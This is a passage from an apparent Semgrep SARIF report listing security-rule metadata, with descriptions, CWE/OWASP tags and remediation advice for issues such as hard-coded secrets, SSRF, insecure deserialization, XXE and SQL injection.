not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' or 'gets_s()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","id":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","name":"c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-gets-fn.insecure-use-gets-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Amazon MWS Auth Token detected"},"help":{"markdown":"Amazon MWS Auth Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Amazon MWS Auth Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","id":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","name":"generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-amazon-mws-auth-token.detected-amazon-mws-auth-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/nategood/httpful](https://github.com/nategood/httpful)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","id":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","name":"php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-httpful.tainted-url-to-httpful"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib3","id":"python.lang.compatibility.python37.python37-compatibility-importlib3","name":"python.lang.compatibility.python37.python37-compatibility-importlib3","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"help":{"markdown":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected the use of `$METHOD(\"$VALUE\")` which is considered a weak cryptographic algorithm. Where possible, leverage the industry standard recommendation which is to use a block cipher such as `AES` with at least `128-bit` strength, an example of a secure algorithm is `AES-256-GCM`. If your company has its own guidelines, you should follow your company's internal best practices."},"helpUri":"https://semgrep.dev/r/javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","id":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","name":"javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.weak-symmetric-algorithm.weak-symmetric-algorithm"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"help":{"markdown":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key)\n - [https://rules.sonarsource.com/javascript/RSPEC-2068](https://rules.sonarsource.com/javascript/RSPEC-2068)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#key-management)\n","text":"Detected a hardcoded hmac key. Avoid hardcoding secrets and consider using an alternate option such as reading the secret from a config file or using an environment variable."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","id":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","name":"javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.hardcoded-hmac-key.hardcoded-hmac-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","id":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","name":"python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-pickle-deserialization.tainted-pickle-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"help":{"markdown":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true)\n - [https://ajv.js.org/options.html#allerrors](https://ajv.js.org/options.html#allerrors)\n","text":"By setting `allErrors: true` in `Ajv` library, all error objects will be allocated without limit. This allows the attacker to produce a huge number of errors which can lead to denial of service. Do not use `allErrors: true` in production."},"helpUri":"https://semgrep.dev/r/javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","id":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","name":"javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.ajv.security.audit.ajv-allerrors-true.ajv-allerrors-true"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"help":{"markdown":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role)\n - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)\n","text":"Detected wildcard access granted to sts:AssumeRole. This means anyone with your AWS account ID and the name of the role can assume the role. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:root`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.wildcard-assume-role.wildcard-assume-role","id":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","name":"terraform.aws.security.wildcard-assume-role.wildcard-assume-role","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.wildcard-assume-role.wildcard-assume-role"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Command. Audit the input to 'exec.Command'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","id":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","name":"go.lang.security.audit.dangerous-exec-command.dangerous-exec-command","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-command.dangerous-exec-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","id":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","name":"python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-lxml.tainted-flask-xml-lxml"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key)\n - [https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22](https://ali-akhtar.medium.com/realm-custom-configuration-and-encryption-realmswift-part-3-f991f090ae22)\n - [https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/](https://mas.owasp.org/MASVS/controls/MASVS-STORAGE-1/)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/](https://mas.owasp.org/MASVS/controls/MASVS-CRYPTO-1/)\n","text":"The application was observed to contain a hardcoded encryption key for use with the Realm database. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt or decrypt Realm data. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","id":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","name":"swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-realm.swift-hardcoded-realm-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.hardcoded-password.hardcoded-password","id":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","name":"rust.secrets.sqlx.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"help":{"markdown":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings](https://wiki.sei.cmu.edu/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings)\n","text":"Externally controlled data influences a format string. This can allow an attacker to leak information from memory or trigger memory corruption. Format strings should be constant strings to prevent these issues. If you need to print a user-controlled string then you can use `%s`."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.format-string.format-string-injection.format-string-injection","id":"cpp.lang.security.format-string.format-string-injection.format-string-injection","name":"cpp.lang.security.format-string.format-string-injection.format-string-injection","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.format-string.format-string-injection.format-string-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","id":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","name":"python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-marshal-fastapi.tainted-marshal-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-code-injection.laravel-code-injection","id":"php.laravel.security.laravel-code-injection.laravel-code-injection","name":"php.laravel.security.laravel-code-injection.laravel-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-code-injection.laravel-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-pickle","id":"python.lang.security.deserialization.pickle.avoid-pickle","name":"python.lang.security.deserialization.pickle.avoid-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements instead. You can obtain a PreparedStatement using 'SqlCommand' and 'SqlParameter'."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli","id":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","name":"csharp.lang.security.sqli.csharp-sqli.csharp-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.sqli.csharp-sqli.csharp-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Stripe Restricted API Key detected"},"help":{"markdown":"Stripe Restricted API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Stripe Restricted API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","id":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","name":"generic.secrets.security.detected-stripe-restricted-api-key.detected-stripe-restricted-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM 